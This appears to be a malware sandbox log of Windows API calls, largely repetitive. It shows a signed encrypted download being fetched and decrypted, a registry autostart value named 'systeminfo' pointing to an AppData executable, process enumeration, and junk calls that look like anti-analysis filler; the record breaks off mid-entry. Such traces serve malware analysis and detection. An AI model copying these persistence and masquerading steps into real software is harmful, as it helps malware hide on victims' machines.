GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.072] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.073] GetLastError () returned 0x0 [0138.074] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x246f860, lpdwBufferLength=0x246f868, lpdwIndex=0x0 | out: lpBuffer=0x246f860*, lpdwBufferLength=0x246f868*=0x4, lpdwIndex=0x0) returned 1 [0138.074] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x5178a0, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x246f864 | out: lpBuffer=0x5178a0*, lpdwNumberOfBytesRead=0x246f864*=0x94) returned 1 [0138.074] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x517934, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x246f864 | out: lpBuffer=0x517934*, lpdwNumberOfBytesRead=0x246f864*=0x0) returned 1 [0138.074] GetLastError () returned 0x0 [0138.074] CryptDuplicateHash (in: hHash=0x4e6e68, pdwReserved=0x0, dwFlags=0x0, phHash=0x246f868 | out: phHash=0x246f868) returned 1 [0138.074] CryptDecrypt (in: hKey=0x4e6b98, hHash=0x4f3878, Final=1, dwFlags=0x0, pbData=0x4f5308, pdwDataLen=0x246f934 | out: pbData=0x4f5308, pdwDataLen=0x246f934) returned 1 [0138.075] CryptVerifySignatureW (hHash=0x4f3878, pbSignature=0x5178a0, dwSigLen=0x60, hPubKey=0x4e6a40, szDescription=0x0, dwFlags=0x0) returned 1 [0138.075] CryptDestroyHash (hHash=0x4f3878) returned 1 [0138.075] GetCurrentProcessId () returned 0x79c [0138.075] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0138.075] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0138.075] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0138.075] RegSetValueExW (in: hKey=0x394, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0138.075] RegCloseKey (hKey=0x394) returned 0x0 [0138.075] GetCurrentProcess () returned 0xffffffff [0138.075] GetLastError () returned 0x0 [0138.075] wsprintfA (in: param_1=0x246f6a7, param_2="%X%P" | out: param_1="2AD7DP") returned 6 [0138.075] SetLastError (dwErrCode=0x0) [0138.075] GetCurrentProcessId () returned 0x79c [0138.322] GetTickCount () returned 0x87f3 [0138.322] GetCurrentProcessId () returned 0x79c [0138.322] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x246f730, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0138.322] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0138.322] lstrlenA (lpString="just string") returned 11 [0138.322] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.322] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0138.323] GetLastError () returned 0x0 [0138.323] Process32FirstW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.324] GetLastError () returned 0x0 [0138.324] lstrcpyW (in: lpString1=0x522b14, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0138.324] GetLastError () returned 0x0 [0138.324] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="2ADBAP") returned 6 [0138.324] SetLastError (dwErrCode=0x0) [0138.324] GetCurrentProcessId () returned 0x79c [0138.324] GetCurrentProcessId () returned 0x79c [0138.324] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0138.324] GetCurrentProcessId () returned 0x79c [0138.324] GetCurrentProcessId () returned 0x79c [0138.324] GetCurrentProcessId () returned 0x79c [0138.324] lstrlenA (lpString="just string") returned 11 [0138.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.324] lstrcpyW (in: lpString1=0x522d3c, lpString2="System" | out: lpString1="System") returned="System" [0138.324] GetLastError () returned 0x0 [0138.324] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0138.325] GetLastError () returned 0x0 [0138.325] lstrcpyW (in: lpString1=0x522f64, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0138.325] GetCurrentProcessId () returned 0x79c [0138.325] GetCurrentProcessId () returned 0x79c [0138.325] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0138.325] GetCurrentProcessId () returned 0x79c [0138.325] lstrlenA (lpString="just string") returned 11 [0138.325] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.325] GetCurrentProcessId () returned 0x79c [0138.325] GetLastError () returned 0x0 [0138.325] lstrcpyW (in: lpString1=0x52318c, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0138.325] GetLastError () returned 0x0 [0138.325] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="2ADECP") returned 6 [0138.325] SetLastError (dwErrCode=0x0) [0138.325] GetCurrentProcessId () returned 0x79c [0138.325] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0138.326] GetCurrentProcessId () returned 0x79c [0138.326] GetCurrentProcessId () returned 0x79c [0138.326] GetCurrentProcessId () returned 0x79c [0138.326] GetCurrentProcessId () returned 0x79c [0138.326] lstrcpyW (in: lpString1=0x5233b4, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0138.326] lstrlenA (lpString="just string") returned 11 [0138.326] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.326] GetLastError () returned 0x0 [0138.326] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0138.326] GetCurrentProcess () returned 0xffffffff [0138.326] GetLastError () returned 0x0 [0138.326] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="2AE31P") returned 6 [0138.326] SetLastError (dwErrCode=0x0) [0138.326] GetCurrentProcessId () returned 0x79c [0138.326] GetCurrentProcessId () returned 0x79c [0138.326] GetLastError () returned 0x0 [0138.326] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="2AE32P") returned 6 [0138.326] SetLastError (dwErrCode=0x0) [0138.326] GetCurrentProcessId () returned 0x79c [0138.326] GetCurrentProcessId () returned 0x79c [0138.326] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0138.327] GetCurrentProcessId () returned 0x79c [0138.327] GetCurrentProcessId () returned 0x79c [0138.327] GetCurrentProcessId () returned 0x79c [0138.327] lstrlenA (lpString="just string") returned 11 [0138.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.327] lstrcpyW (in: lpString1=0x5235dc, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0138.327] GetLastError () returned 0x0 [0138.327] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0138.327] GetLastError () returned 0x0 [0138.327] lstrcpyW (in: lpString1=0x523804, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0138.327] GetLastError () returned 0x0 [0138.327] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="2AE50P") returned 6 [0138.327] SetLastError (dwErrCode=0x0) [0138.327] GetCurrentProcessId () returned 0x79c [0138.327] GetCurrentProcessId () returned 0x79c [0138.327] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0138.328] GetCurrentProcessId () returned 0x79c [0138.328] GetCurrentProcessId () returned 0x79c [0138.328] GetCurrentProcessId () returned 0x79c [0138.328] lstrlenA (lpString="just string") returned 11 [0138.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.328] lstrcpyW (in: lpString1=0x523a2c, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0138.328] GetLastError () returned 0x0 [0138.328] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0138.328] GetLastError () returned 0x0 [0138.328] lstrcpyW (in: lpString1=0x523c54, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0138.328] GetCurrentProcessId () returned 0x79c [0138.328] GetCurrentProcessId () returned 0x79c [0138.328] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.329] GetCurrentProcessId () returned 0x79c [0138.329] lstrlenA (lpString="just string") returned 11 [0138.329] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.329] GetCurrentProcessId () returned 0x79c [0138.329] GetLastError () returned 0x0 [0138.329] lstrcpyW (in: lpString1=0x523e7c, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0138.329] lstrlenA (lpString="just string") returned 11 [0138.329] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.329] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.329] GetLastError () returned 0x0 [0138.329] GetCurrentProcessId () returned 0x79c [0138.329] GetLastError () returned 0x0 [0138.329] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.330] GetCurrentProcess () returned 0xffffffff [0138.330] GetLastError () returned 0x0 [0138.330] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="2AEF9P") returned 6 [0138.330] SetLastError (dwErrCode=0x0) [0138.330] GetCurrentProcessId () returned 0x79c [0138.330] GetLastError () returned 0x0 [0138.330] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="2AEFAP") returned 6 [0138.330] SetLastError (dwErrCode=0x0) [0138.330] GetCurrentProcessId () returned 0x79c [0138.330] GetCurrentProcessId () returned 0x79c [0138.330] GetCurrentProcessId () returned 0x79c [0138.330] GetCurrentProcessId () returned 0x79c [0138.330] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.330] GetCurrentProcessId () returned 0x79c [0138.330] lstrlenA (lpString="just string") returned 11 [0138.330] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.330] GetCurrentProcessId () returned 0x79c [0138.330] GetLastError () returned 0x0 [0138.330] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.331] GetCurrentProcessId () returned 0x79c [0138.331] lstrlenA (lpString="just string") returned 11 [0138.331] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.331] GetCurrentProcessId () returned 0x79c [0138.331] GetLastError () returned 0x0 [0138.331] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0138.331] GetCurrentProcess () returned 0xffffffff [0138.331] GetLastError () returned 0x0 [0138.331] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="2AF49P") returned 6 [0138.331] SetLastError (dwErrCode=0x0) [0138.331] GetCurrentProcessId () returned 0x79c [0138.331] GetLastError () returned 0x0 [0138.331] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="2AF4AP") returned 6 [0138.331] SetLastError (dwErrCode=0x0) [0138.331] GetCurrentProcessId () returned 0x79c [0138.331] GetCurrentProcessId () returned 0x79c [0138.331] GetCurrentProcessId () returned 0x79c [0138.332] lstrcpyW (in: lpString1=0x5240a4, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0138.332] GetCurrentProcessId () returned 0x79c [0138.332] GetCurrentProcessId () returned 0x79c [0138.332] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.332] lstrlenA (lpString="just string") returned 11 [0138.332] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.332] GetLastError () returned 0x0 [0138.332] GetCurrentProcessId () returned 0x79c [0138.332] GetCurrentProcess () returned 0xffffffff [0138.332] GetLastError () returned 0x0 [0138.332] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="2AF7BP") returned 6 [0138.332] SetLastError (dwErrCode=0x0) [0138.332] GetCurrentProcessId () returned 0x79c [0138.332] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.332] GetLastError () returned 0x0 [0138.333] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="2AF7CP") returned 6 [0138.333] SetLastError (dwErrCode=0x0) [0138.333] GetCurrentProcessId () returned 0x79c [0138.333] GetCurrentProcessId () returned 0x79c [0138.333] GetCurrentProcessId () returned 0x79c [0138.333] GetCurrentProcessId () returned 0x79c [0138.333] GetCurrentProcessId () returned 0x79c [0138.333] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0138.333] lstrlenA (lpString="just string") returned 11 [0138.333] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.333] GetLastError () returned 0x0 [0138.333] GetCurrentProcessId () returned 0x79c [0138.333] lstrcpyW (in: lpString1=0x5242cc, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0138.333] GetCurrentProcessId () returned 0x79c [0138.333] GetCurrentProcessId () returned 0x79c [0138.333] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.334] lstrlenA (lpString="just string") returned 11 [0138.334] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.334] GetLastError () returned 0x0 [0138.334] GetCurrentProcessId () returned 0x79c [0138.334] lstrlenA (lpString="just string") returned 11 [0138.334] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.334] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0138.334] GetLastError () returned 0x0 [0138.334] GetCurrentProcessId () returned 0x79c [0138.334] GetCurrentProcessId () returned 0x79c [0138.334] lstrcpyW (in: lpString1=0x5244f4, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0138.334] GetCurrentProcessId () returned 0x79c [0138.334] GetCurrentProcessId () returned 0x79c [0138.334] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0138.334] lstrlenA (lpString="just string") returned 11 [0138.335] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.335] GetLastError () returned 0x0 [0138.335] GetCurrentProcessId () returned 0x79c [0138.335] lstrcpyW (in: lpString1=0x52471c, lpString2="userinit.exe" | out: lpString1="userinit.exe") returned="userinit.exe" [0138.335] GetLastError () returned 0x0 [0138.335] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0138.335] GetCurrentProcess () returned 0xffffffff [0138.335] GetLastError () returned 0x0 [0138.335] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="2B01BP") returned 6 [0138.335] SetLastError (dwErrCode=0x0) [0138.335] GetCurrentProcessId () returned 0x79c [0138.335] GetLastError () returned 0x0 [0138.335] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="2B01CP") returned 6 [0138.335] SetLastError (dwErrCode=0x0) [0138.335] GetCurrentProcessId () returned 0x79c [0138.335] GetCurrentProcessId () returned 0x79c [0138.335] GetCurrentProcessId () returned 0x79c [0138.335] lstrcpyW (in: lpString1=0x524944, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0138.335] GetCurrentProcessId () returned 0x79c [0138.335] GetCurrentProcessId () returned 0x79c [0138.335] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0138.336] lstrlenA (lpString="just string") returned 11 [0138.336] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.336] GetLastError () returned 0x0 [0138.336] GetCurrentProcessId () returned 0x79c [0138.336] lstrcpyW (in: lpString1=0x524b6c, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0138.336] GetCurrentProcessId () returned 0x79c [0138.336] GetCurrentProcessId () returned 0x79c [0138.336] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0138.336] lstrlenA (lpString="just string") returned 11 [0138.336] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.336] GetLastError () returned 0x0 [0138.336] GetCurrentProcessId () returned 0x79c [0138.336] lstrcpyW (in: lpString1=0x524d94, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0138.336] GetLastError () returned 0x0 [0138.336] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, 